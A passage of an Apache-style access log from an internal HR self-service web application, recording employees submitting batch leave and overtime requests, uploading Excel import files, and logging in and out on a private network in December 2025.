"http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:39:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.915588135331431 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.915588135331431 HTTP/1.1" 200 13560 192.168.11.70 - - [02/Dec/2025:08:39:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.915588135331431 HTTP/1.1" 200 15762 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.915588135331431" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.915588135331431 HTTP/1.1" 200 15762 192.168.11.70 - - [02/Dec/2025:08:39:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 192.168.11.70 - - [02/Dec/2025:08:39:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:39:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:39:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:40:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5889014828763339 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5889014828763339 HTTP/1.1" 200 13560 192.168.11.70 - - [02/Dec/2025:08:40:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5889014828763339 HTTP/1.1" 200 15742 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5889014828763339" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5889014828763339 HTTP/1.1" 200 15742 192.168.11.70 - - [02/Dec/2025:08:40:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.70 - - [02/Dec/2025:08:40:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:40:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [02/Dec/2025:08:40:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:40:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16264252155591796 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:40:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16264252155591796 HTTP/1.1" 200 13560 192.168.11.70 - - [02/Dec/2025:08:41:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16264252155591796 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16264252155591796" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16264252155591796 HTTP/1.1" 200 15732 192.168.11.70 - - [02/Dec/2025:08:41:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.70 - - [02/Dec/2025:08:41:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:41:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.005981690784750082 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.005981690784750082 HTTP/1.1" 200 5264 192.168.11.70 - - [02/Dec/2025:08:41:50 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.005981690784750082 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.005981690784750082" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:50 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.005981690784750082 HTTP/1.1" 302 - 192.168.11.70 - - [02/Dec/2025:08:41:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5430 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.005981690784750082" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5430 192.168.11.70 - - [02/Dec/2025:08:41:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4978 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4978 192.168.11.70 - - [02/Dec/2025:08:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:41:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:42:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:42:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [02/Dec/2025:08:42:27 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1597807004663343 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:27 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1597807004663343 HTTP/1.1" 200 5264 192.168.11.70 - - [02/Dec/2025:08:42:34 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1597807004663343 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1597807004663343" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:34 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1597807004663343 HTTP/1.1" 302 - 192.168.11.70 - - [02/Dec/2025:08:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13352 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1597807004663343" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13352 192.168.11.70 - - [02/Dec/2025:08:42:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.70 - - [02/Dec/2025:08:42:40 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132672%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132672&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:40 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132672%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132672&target=iframe HTTP/1.1" 200 3251 192.168.40.52 - - [02/Dec/2025:08:42:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:42:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [02/Dec/2025:08:42:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:42:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [02/Dec/2025:08:42:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132672 HTTP/1.1" 200 5531 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132672%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132672&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132672 HTTP/1.1" 200 5531 192.168.11.70 - - [02/Dec/2025:08:42:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132672&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16206 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=132672" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:42:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132672&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16206 192.168.11.70 - - [02/Dec/2025:08:43:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:43:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:08:43:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:43:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [02/Dec/2025:08:43:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:43:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.144 - - [02/Dec/2025:08:43:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:43:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [02/Dec/2025:08:43:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:43:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.144 - - [02/Dec/2025:08:43:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:43:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [02/Dec/2025:08:44:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [02/Dec/2025:08:44:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [02/Dec/2025:08:44:14 